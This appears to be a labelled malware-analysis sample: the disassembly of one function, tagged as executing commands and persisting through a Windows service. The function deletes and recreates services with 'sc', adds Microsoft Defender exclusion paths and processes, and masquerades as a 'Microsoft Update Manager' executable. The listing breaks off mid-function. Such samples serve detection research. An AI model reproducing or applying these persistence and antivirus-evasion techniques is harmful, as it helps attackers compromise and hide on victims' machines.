Function at 0x4103c0
Capabilities:
Execute command
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ecf5
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xcc], ecx
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x64], esp
push 0x42695c
call fcn.004045d0
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
xorps xmm0, xmm0
push 0x14
movups xmmword [ecx], xmm0
push str.update_MANAGER_start
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408110
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x64], esp
mov edi, esp
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x68], esp
push 8
movups xmmword [ecx], xmm0
push str.bldMNGR
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 0xd
movups xmmword [ecx], xmm0
push str.get_build.php
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040b5d0
add esp, 0x30
mov ecx, edi
call fcn.004015e0
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x60], ecx
mov eax, closesocket
mov edx, dword [0x426090]
sub eax, edx
cmp eax, 4
jb 0x411ab2
cmp dword [0x426094], 0x10
mov eax, 0x426080
push 4
cmovae eax, dword [0x426080]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a6a0
mov dword [ebp - 4], 0xffffffff
call fcn.004030a0
add esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x42695c
call fcn.004045d0
sub esp, 0x18
mov dword [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 0x15
movups xmmword [ecx], xmm0
push str.update_MANAGER_copied
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408110
add esp, 0x30
mov byte [ebp - 0x11], 2
mov esi, 0xa
nop dword [eax]
push 1
lea edx, [ebp - 0x11]
lea ecx, [ebp - 0xe4]
call fcn.00402ac0
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 4
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 1
jb 0x4105b2
lea eax, [edx + 1]
mov dword [ecx + 0x10], eax
mov eax, ecx
cmp edi, 0x10
jb 0x4105aa
mov eax, dword [ecx]
mov word [eax + edx], 0x7c
jmp 0x4105c9
push 1
push 0x420d1c
mov byte [ebp - 0x68], 0
push dword [ebp - 0x68]
push 1
call fcn.004053b0
mov ecx, eax
mov eax, dword [ebp - 0xcc]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [eax + 0x38]
cmovae edx, dword [ebp - 0x2c]
call fcn.0041bae0
mov ecx, dword [ebp - 0x18]
mov edi, eax
cmp ecx, 0x10
jb 0x41064f
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410645
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108fd
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x4106a2
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410698
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108fd
push ecx
push edx
call fcn.0041c982
add esp, 8
push 0x64
dec esi
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
jle 0x4106b7
test esi, esi
jg 0x410570
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x42695c
call fcn.004045d0
sub esp, 0x18
mov dword [ebp - 4], 5
mov ecx, esp
xorps xmm0, xmm0
push 0x18
movups xmmword [ecx], xmm0
push str.update_MANAGER_sock_send
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408110
mov edi, dword [ebp - 0xcc]
add esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push edi
call fcn.004045d0
mov ecx, esi
call fcn.004084d0
add esp, 0x18
call fcn.0041ab10
add esp, 0x18
test eax, eax
je 0x410793
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x42695c
call fcn.004045d0
sub esp, 0x18
mov dword [ebp - 4], 6
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str.weit
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00405000
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408110
add esp, 0x30
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x42695c
call fcn.004045d0
mov dword [ebp - 4], 7
mov eax, closesocket
mov ecx, dword [edi + 0x30]
sub eax, ecx
cmp eax, 0xb
jb 0x411ab7
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x4107cf
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a6a0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x410812
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x41082a
push 1
push 0x42066c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.004053b0
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2c]
mov ecx, esp
mov edx, str.update_MANAGER:
push eax
call fcn.00404ca0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xb
call fcn.00408110
mov byte [ebp - 4], 0xa
add esp, 0x30
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4108be
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4108b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4108fd
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x41090d
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410903
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x410903
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov ecx, dword [edi + 0x30]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xb
jb 0x411abc
cmp dword [edi + 0x34], 0x10
lea eax, [edi + 0x20]
jb 0x41092c
mov eax, dword [edi + 0x20]
push ecx
push eax
push 0xb
push str.sc_delete__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x44]
call fcn.0040a6a0
mov dword [ebp - 4], 0xc
mov edx, dword [ebp - 0x30]
mov eax, edx
mov ecx, dword [ebp - 0x34]
sub eax, ecx
cmp eax, 1
jb 0x410972
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0x44]
jmp 0x41098a
push 1
push 0x42066c
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x44]
push dword [ebp - 0x68]
push 1
call fcn.004053b0
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0x10
jb 0x410a06
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4109fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410a45
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0x10
jb 0x410a55
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410a4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x410a4b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
sub esp, 0x18
mov byte [ebp - 0x11], 1
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x42695c
call fcn.004045d0
mov dword [ebp - 4], 0xd
mov esi, edi
cmp dword [edi + 0x14], 0x10
jb 0x410a7c
mov esi, dword [edi]
sub esp, 0x18
mov edx, esi
mov ecx, esp
xorps xmm0, xmm0
lea eax, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ebp - 0x68], eax
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x410aa0
sub edx, dword [ebp - 0x68]
push edx
push esi
call fcn.00405000
mov cl, byte [ebp - 0x11]
mov dword [ebp - 4], 0xffffffff
call fcn.00408110
add esp, 0x18
mov ecx, esp
push edi
call fcn.004045d0
call fcn.00406270
mov ecx, esp
mov dword [ebp - 0x60], esp
push 0x420928
call fcn.00412a30
sub esp, 0x18
mov dword [ebp - 4], 0xe
mov ecx, esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
call fcn.00412a30
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0xffffffff
call fcn.0041add0
push 4
mov edx, 2
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xb0]
call fcn.004029c0
add esp, 0x34
mov esi, eax
mov byte [ebp - 4], 0x10
mov ecx, closesocket
mov edx, dword [ebp - 0x4c]
sub ecx, edx
cmp ecx, 0x24
jb 0x411ac1
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push 0x24
cmovae eax, dword [ebp - 0x5c]
push str.Microsoft_Manager_INCUPS_Manager_x
push edx
push eax
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xe4]
call fcn.0040a6a0
push esi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x11
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x2c]
call fcn.0040a4c0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x18]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
cmp eax, 4
jb 0x410ba7
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], 0
lea eax, [ebp - 0x2c]
jmp 0x410bbf
push 4
push str..exe
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x68]
push 4
call fcn.004053b0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x410c19
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410c95
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x410c65
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410c95
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x410ca5
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x410c9b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
push 4
mov edx, 2
mov dword [ebp - 0xa0], 0
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
call fcn.004029c0
push eax
mov edx, str.Microsoft_Update_Manager_x
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2c]
call fcn.00404ca0
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x410d27
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410d1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x410d1d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x11c], 0
mov esi, esp
mov dword [ebp - 0x118], 0xf
sub esp, 0x18
mov byte [ebp - 0x12c], 0
mov ecx, esp
mov dword [ebp - 0x68], esi
push edi
call fcn.004045d0
lea ecx, [ebp - 0xfc]
call fcn.004084d0
add esp, 0x18
mov dword [ebp - 0x64], eax
push edi
sub esp, 0x18
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004045d0
lea ecx, [ebp - 0x15c]
call fcn.004084d0
add esp, 0x18
mov edi, eax
mov byte [ebp - 4], 0x1b
mov ecx, closesocket
mov edx, dword [ebp - 0x34]
sub ecx, edx
cmp ecx, 0x21
jb 0x411ac6
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push edx
cmovae eax, dword [ebp - 0x44]
push eax
push 0x21
push str.Add_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x80]
call fcn.0040a6a0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x6c]
mov eax, edx
mov ecx, dword [ebp - 0x70]
sub eax, ecx
push 0x27
push str.__Add_MpPreference__ExclusionProcess_
cmp eax, 0x27
jb 0x410e01
cmp edx, 0x10
lea esi, [ebp - 0x80]
lea eax, [ecx + 0x27]
cmovae esi, dword [ebp - 0x80]
add esi, ecx
mov dword [ebp - 0x70], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x27], 0
lea eax, [ebp - 0x80]
mov esi, dword [ebp - 0x68]
add esp, 0xc
jmp 0x410e12
mov byte [ebp - 0x68], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x68]
push 0x27
call fcn.004053b0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push edi
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x1d
push eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc8]
call fcn.0040a4c0
push str.__Remove_MpPreference__ExclusionPath_
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x1e
call fcn.004044d0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea edx, [ebp - 0x98]
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x144]
call fcn.00409c00
add esp, 4
push str.__Remove_MpPreference__ExclusionProcess_
mov ecx, eax
mov byte [ebp - 4], 0x20
call fcn.004044d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x174]
push dword [ebp - 0x64]
lea ecx, [ebp - 0xb0]
push eax
push dword [ebp - 0x60]
call fcn.0040a4c0
push 0x420b5c
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x22
call fcn.004044d0
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00406620
mov byte [ebp - 4], 0x21
add esp, 0x18
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x410fa9
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410f9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x411002
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ff8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x411040
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411036
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp ecx, 0x10
jb 0x411099
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41108f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x4110f2
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4110e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x41114b
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411141
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x411183
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411179
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4111cf
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4111c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41121a
push ecx
push edx
call fcn.0041c982
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
cmp ecx, 0x10
jb 0x41122a
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411220
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411220
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x60], esp
push eax
call fcn.004045d0
sub esp, 0x18
mov byte [ebp - 4], 0x23
mov ecx, esp
mov esi, closesocket
mov dword [ebp - 0x64], ecx
mov eax, esi
mov edx, dword [0x426090]
sub eax, edx
cmp eax, 4
jb 0x411acb
cmp dword [0x426094], 0x10
mov eax, 0x426080
push 4
cmovae eax, dword [0x426080]
push str.BLD
push edx
push eax
push ecx
push dword [ebp - 0x60]
call fcn.0040a6a0
mov byte [ebp - 4], 0x19
call fcn.00408730
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xbc]
add esp, 0x30
call fcn.00406ff0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0xbc]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x114], 1
call fcn.00405e50
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xbc]
test edx, edx
je 0x411338
mov ecx, dword [ebp - 0xb4]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x411310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411473
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
sub esp, 0x18
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x44]
mov ecx, esp
lea edi, [ebp - 0x8c]
push eax
call fcn.004045d0
mov ecx, edi
call fcn.00406350
add esp, 0x18
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
mov eax, edi
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x104], 2
call fcn.00405e50
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x8c]
test edx, edx
je 0x4113f0
mov ecx, dword [ebp - 0x84]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x4113c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411473
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
sub esp, 0x18
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2c]
mov ecx, esp
lea edi, [ebp - 0x74]
push eax
call fcn.004045d0
mov ecx, edi
call fcn.00406350
add esp, 0x18
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov eax, edi
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf4], 3
call fcn.00405e50
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x74]
test edx, edx
je 0x411498
mov ecx, dword [ebp - 0x6c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x411479
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x411479
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041c982
add esp, 8
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
sub esp, 0xc
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x60], esp
lea eax, [ebp - 0xe4]
lea edx, [ebp - 0x114]
push ecx
push eax
push edx
call fcn.00412310
sub esp, 0x18
mov byte [ebp - 4], 0x2d
mov ecx, esp
push 0x42698c
call fcn.004045d0
mov byte [ebp - 4], 0x2c
call fcn.00406870
add esp, 0x24
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x114]
push 0x405de0
push 3
push 0x10
push eax
call fcn.0041c9bc
mov ecx, dword [ebp - 0x1c]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x411ad0
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xb
push str.sc_create__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a6a0
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
push 0xb
push str.__binpath_
cmp eax, 0xb
jb 0x411573
cmp edx, 0x10
lea esi, [ebp - 0xb0]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0xb0]
add esi, ecx
mov dword [ebp - 0xa0], eax
push esi
